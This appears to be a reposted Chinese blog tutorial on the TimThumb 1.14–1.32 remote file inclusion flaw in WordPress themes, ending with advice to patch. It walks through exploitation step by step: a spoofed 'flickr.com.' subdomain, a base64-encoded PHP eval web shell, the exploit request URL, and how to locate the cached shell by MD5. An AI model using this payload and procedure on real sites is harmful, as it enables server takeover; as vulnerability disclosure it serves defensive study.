网站地图    收藏   

主页 > 后端 > 网站安全 >

Timthumb缩略图插件漏洞简介与演示 - 网站安全 -

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] www.2cto.com:不是新文章了,但是站里没有,发出来供大家参考首先这个洞已经出来非常久了,应该是8月份就出来了,但是补的人不多。所以危害还是比较大的!Timthumb插件干嘛的也就不...

 www.2cto.com:不是新文章了,但是站里没有,发出来供大家参考
       

首先这个洞已经出来非常久了,应该是8月份就出来了,但是补的人不多。所以危害还是比较大的!
Timthumb插件干嘛的也就不多说了,就是用于生成缩略图的作用,做主题的人应该都知道。
而使用Timthumb生成的图片会自动存放在指定的缓存目录里面,如loper1.2主题中的Timthumb生成的缩略图文件会存放在主题目录下的cache文件夹里面
\
本来Timthumb插件是只允许处理当前域名下图片,也就是说如果是外部提交文件是不会进行处理的,如下图,我想把www.dd.com域名下1.php这个文件交给www.cc.com域名下的Timthumb插件来处理,他会显示错误
\
但是在Timthumb的作者为了使用者更方便的使用,所以内置了一些知名网站域名的白名单,如Flickr、Picasa等著名图片分享网站,也就是说,使用白名单内的网站来提交,也是可以让Timthumb进行处理的。但在这里恰恰Timthumb插件对白名单域名过滤的不严格,所以导致攻击者可以伪造如”flickr.com.dd.com”这样的3级域名来绕过Timthumb的过滤
而Timthumb默认是不会判断提交过去的文件类型的,所以可以直接提交php文件,这样也就是俗称的Getshell了!

漏洞影响的Timthumb版本为1.14 – 1.32,从上面的错误信息也可以发现,LOPER1.2中的Timthumb是1.19版本的,所以存在此漏洞!
所以就国内wp圈子来说,危害最大莫过于使用loper1.2版本主题的,以及早前的虾子酱那个木纹主题。
因为以前一直没注意过这个洞,直到前天遇到了才简单的测试了下,发现利用不难,下面就掩饰下具体的利用方法,首先创建一个flickr.com.site.com的3级域名,这里我就以flickr.com.rices.so来做演示,至于怎么创建也就不多说,dnspod,dnsever等都可以直接创建~~

然后随便找个空间将这个域名绑定上,最后在跟目录上传一个需要getshell的php文件。。到这里我简单的提下
网上所说的利用方法有一个很大的误区,说什么放php文件的空间必须要不支持php解析,也就是访问php文件直接弹出下载这样的空间才能成功利用,其实完全可以不用这么麻烦。因为Timthumb是读取这个php执行后的代码,所以我们直接echo一个一句话就行了,代码如下

PHP
echo base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=");

执行后会输出一句话 @eval($_POST['cmd']);

\
下面还是以LOPER1.2的Timthumb为例,直接浏览器访问 “wp-content/themes/loper1.2/timthumb.php?src=http://flickr.com.rices.so/1.php”

虽然提示了Invalid src mime type,但是实际上已经把我们的php一句话下载到了cache文件夹内

当然,在实际利用中我们是不可能知道下载下来的PHP用户名的,但是要获取到用户名很简单,其实文件名就是文件地址的MD5值,比如这里文件地址是http://flickr.com.rices.so/1.php,那么我们就将这个地址进行MD5加密

图上已经画的很清楚了吧,这里也就不多说了,但是Timthumb2.0以上版本的命名规则会有所不同,但是这也不在这篇文章讨论范围之内了,因为影响的版本只有1.14 – 1.32!
到这里也可以发现利用并不难,危害也很大,所以该修复的修复,该升级的升级吧,loper1.3版也发出来了的,还在用1.2的童鞋最好下载覆盖


摘自 Rice's Blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论